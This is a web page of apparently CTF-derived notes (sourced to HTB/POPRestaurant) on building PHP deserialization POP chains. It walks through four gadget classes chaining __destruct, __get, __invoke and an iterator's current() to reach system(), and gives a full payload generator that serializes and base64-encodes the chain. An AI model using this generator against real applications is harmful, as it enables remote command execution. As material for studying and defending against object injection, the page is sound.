Skip to content
PHP
Chaining multiple gadgets

Chaining multiple gadgets

PHP deserialization chain with multiple gadgets

Multiple gadgets form a chain when each gadget performs an operation that triggers the next one. The final gadget reaches the useful sink.

This is called a Property-Oriented Programming chain, or POP chain. The serialized payload supplies the class names and property values that connect existing application methods. All executed method code comes from the application.

Source review

Search the classes available to unserialize() for magic methods:

grep -RniE "function[[:space:]]+__[a-zA-Z0-9_]+" .

Start with a method PHP calls automatically. Follow each property read, object call, string conversion, missing method call, and iteration performed with controlled properties. Each operation may trigger a method in another controlled object.

Vulnerable gadget chain

The first gadget starts the chain when PHP destroys the object:

class DestructGadget
{
    public $next_object;

    public function __destruct()
    {
        echo $this->next_object->missing_property;
    }
}

The payload stores a GetGadget object in next_object. missing_property is absent from GetGadget, so reading it calls GetGadget->__get():

class GetGadget
{
    public $callable_object;

    public function __get($property_name)
    {
        ($this->callable_object)();
    }
}

The payload stores an InvokeGadget object in callable_object. The parentheses call that object as a function, so PHP calls InvokeGadget->__invoke():

class InvokeGadget
{
    public $items;

    public function __invoke()
    {
        foreach ($this->items as $item) {
            echo $item;
        }
    }
}

The payload stores a CallbackIterator object in items. foreach asks the iterator for its current element, so the overridden current() method runs:

class CallbackIterator extends ArrayIterator
{
    public $callback;

    public function current()
    {
        $item = parent::current();
        $callback_result = call_user_func($this->callback, $item);
        return $item;
    }
}

current() is an iterator method that returns the current element. parent::current() returns the command stored in the iterator. The payload sets callback to system, so call_user_func() calls system() with that command.

The complete chain is:

unserialize()
-> reconstructed object is destroyed
-> __destruct() reads a missing property from a controlled object
-> __get() calls another controlled object like a function
-> __invoke() iterates over a controlled object
-> current() passes a controlled element to a controlled callback
-> command execution

Payload generator

The generator recreates the nested object graph required by the target chain:

<?php
require "<PATH_TO_DESTRUCT_GADGET_CLASS>";
require "<PATH_TO_GET_GADGET_CLASS>";
require "<PATH_TO_INVOKE_GADGET_CLASS>";
require "<PATH_TO_ITERATOR_GADGET_CLASS>";

$destruct_gadget = new DestructGadget();
$get_gadget = new GetGadget();
$invoke_gadget = new InvokeGadget();
$callback_iterator = new CallbackIterator();

$callback_iterator->append("<COMMAND>");
$callback_iterator->callback = "system";

$destruct_gadget->next_object = $get_gadget;
$get_gadget->callable_object = $invoke_gadget;
$invoke_gadget->items = $callback_iterator;

$serialized_payload = serialize($destruct_gadget);
$encoded_payload = base64_encode($serialized_payload);
print($encoded_payload);

$destruct_gadget->next_object->missing_property = null;
?>

The required files load the real target classes into the local generator. The class names, property names, and property visibility must match the target source exactly.

The final assignment changes only the live object after serialization. It prevents the generator’s local destructor from continuing into __get() while leaving the serialized payload unchanged.

Find by: php deserialization, php object injection, pop chain, property oriented programming, chained gadgets, __destruct, __get, __invoke, arrayiterator, iterator current, foreach iterator, call_user_func, nested object graph · Source: HTB/POPRestaurant